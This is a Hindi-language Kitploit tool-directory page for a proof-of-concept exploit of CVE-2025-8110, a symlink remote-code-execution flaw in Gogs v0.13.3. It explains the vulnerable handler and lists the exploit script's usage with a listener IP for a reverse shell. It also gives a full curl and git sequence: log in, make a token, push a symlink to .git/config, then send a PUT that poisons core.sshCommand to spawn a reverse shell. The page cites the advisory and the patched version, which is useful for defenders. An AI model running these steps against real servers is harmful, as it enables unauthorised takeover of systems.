Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-8110-PoC — Gogs सिमलिंक RCE (CVE-2025-8110) के लिए वन-शॉट शोषण जो UpdateRepoFile के लिए एकल PUT अनुरोध के माध्यम से रिवर्स शेल ट्रिगर करता है। | Kitploit
उपकरण/GitHubGitHub/mananispiwpiw/cve-2025-8110-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंगरिमोट एक्सेस टूल
GitHubmananispiwpiw/cve-2025-8110-poc

CVE-2025-8110-PoC

Gogs सिमलिंक RCE (CVE-2025-8110) के लिए वन-शॉट शोषण जो UpdateRepoFile के लिए एकल PUT अनुरोध के माध्यम से रिवर्स शेल ट्रिगर करता है।

रिपॉजिटरी देखें
13 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-8110 PoC

CVE-2025-8110 के लिए Python प्रूफ-ऑफ-कॉन्सेप्ट स्क्रिप्ट — Gogs v0.13.3 UpdateRepoFile सिमलिंक RCE. एकल-शॉट: दुर्भावनापूर्ण PUT स्वयं git fetch → sshCommand → रिवर्स शेल को ट्रिगर करता है।

⚠️ केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान के लिए। इस उपकरण को उन सिस्टमों पर चलाना जिनके आप मालिक नहीं हैं या जिनके परीक्षण के लिए आपके पास लिखित अनुमति नहीं है, अवैध है।

विवरण

  • CVE-2025-8110 के लिए PoC
  • प्रभावित संस्करण: Gogs v0.13.3
  • पैच किया गया संस्करण: Gogs v0.13.4
  • संदर्भ: https://github.com/gogs/gogs/security/advisories/GHSA-2f2w-5pm3-26wp

संवेदनशील व्यवहार

internal/db/repo_editor.go में UpdateRepoFile हैंडलर फ़ाइल सामग्री लिखने के लिए os.WriteFile को कॉल करता है, जो सिमलिंक का अनुसरण करता है बिना उनकी जाँच किए। इस तथ्य के साथ कि सिमलिंक के पिछले कमिट में प्रवेश करते हैं, एक हमलावर यह कर सकता है:

.git/
  1. एक सिमलिंक x → .git/config को बेयर रेपो में पुश करें
  2. एक दुर्भावनापूर्ण .git/config के साथ PUT /api/v1/repos/{owner}/{repo}/contents/x को कॉल करें जिसमें core.sshCommand को रिवर्स शेल कमांड पर सेट किया गया हो
  3. वही PUT अनुरोध कॉन्फ़िग लिखता है और git fetch origin को ट्रिगर करता है (CreateOrUpdateRepoFile → UpdateLocalCopyBranch के माध्यम से), जो संशोधित कॉन्फ़िग को पढ़ता है और sshCommand को निष्पादित करता है — एक ही बार में एक रिवर्स शेल उत्पन्न करता है।

फ़ाइलें

  • poc.py: लक्ष्य, उपयोगकर्ता नाम, पासवर्ड, LHOST और LPORT के लिए संकेत देता है; लॉग इन करता है, एक API टोकन बनाता है, एक रिपॉजिटरी बनाता है, एक सिमलिंक पुश करता है, और API के माध्यम से .git/config को ओवरराइट करता है — एकल PUT अनुरोध स्वयं रिवर्स शेल को ट्रिगर करता है।

उपयोग

चलाएँ:

root@kitploit:~
python3 poc.py --target https://gogs.example.com --username admin --password admin123 --lhost 10.10.14.206 --lport 9001

आर्गुमेंट्स

ArgumentRequiredDescription
--target / -tहाँGogs लक्ष्य होस्टनाम या URL
--usernameहाँमौजूदा Gogs उपयोगकर्ता नाम
--passwordहाँमौजूदा Gogs पासवर्ड
--lhostहाँरिवर्स शेल के लिए लिसनर IP
--lportहाँलिसनर पोर्ट

यह कैसे काम करता है

  1. लॉगिन — प्रदान की गई क्रेडेंशियल्स के साथ Gogs वेब इंटरफ़ेस में लॉग इन करता है
  2. टोकन — /user/settings/applications के माध्यम से एक व्यक्तिगत API टोकन बनाता है
  3. रेपो — Gogs API के माध्यम से एक नया खाली रिपॉजिटरी बनाता है
  4. सिमलिंक पुश करें — रेपो को क्लोन करता है, एक सिमलिंक x → .git/config बनाता है, कमिट करता है और इसे पुश करता है
  5. ओवरराइट और ट्रिगर (एकल शॉट) — core.sshCommand और एक SSH रिमोट URL वाले दुर्भावनापूर्ण git कॉन्फ़िग के साथ PUT /api/v1/repos/{owner}/{repo}/contents/x भेजता है। Gogs का CreateOrUpdateRepoFile आंतरिक रूप से UpdateLocalCopyBranch → git fetch origin को कॉल करता है, जो ज़हरीले कॉन्फ़िग को पढ़ता है और sshCommand को निष्पादित करता है — एक अनुरोध में एक रिवर्स शेल उत्पन्न करता है।

समतुल्य curl

लॉगिन और CSRF प्राप्त करें

root@kitploit:~
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/login
# Extract _csrf from response
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/login \
  -d '_csrf=<csrf>&user_name=<user>&password=<pass>'

API टोकन बनाएँ

root@kitploit:~
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/settings/applications
# Extract _csrf
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/settings/applications \
  -d '_csrf=<csrf>&name=poc-token'

रेपो बनाएँ

root@kitploit:~
curl -X POST http://target/api/v1/user/repos \
  -H "Authorization: token <token>" \
  -H "Content-Type: application/json" \
  -d '{"name":"poc-repo"}'

सिमलिंक पुश करें

root@kitploit:~
git clone http://<user>:<token>@target/<user>/poc-repo.git
cd poc-repo
ln -s .git/config x
git add x
git commit -m "add symlink"
git push origin master

ओवरराइट और ट्रिगर (एकल PUT — टाइमआउट की उम्मीद करें, शेल आता है)

root@kitploit:~
curl -X PUT http://target/api/v1/repos/<user>/poc-repo/contents/x \
  -H "Authorization: token <token>" \
  -H "Content-Type: application/json" \
  --max-time 10 \
  -d '{"message":"x","content":"<base64 of malicious git config>"}'

PUT अनुरोध स्वयं git fetch origin को ट्रिगर करता है, जो ज़हरीले .git/config को पढ़ता है और रिवर्स शेल को निष्पादित करता है। किसी दूसरे अनुरोध की आवश्यकता नहीं है।

--max-time 10 क्यों? सर्वर लगभग 10 सेकंड तक हैंग हो सकता है जब git लिखने की प्रक्रिया करता है और फ़ेच को ट्रिगर करता है। --max-time 10 का उपयोग यह सुनिश्चित करता है कि curl शेल को वापस कनेक्ट करने के लिए कनेक्शन को पर्याप्त समय तक खुला रखे। इसके बिना, शेल फायर होने से पहले कनेक्शन ड्रॉप हो सकता है।

टूल डाउनलोड करें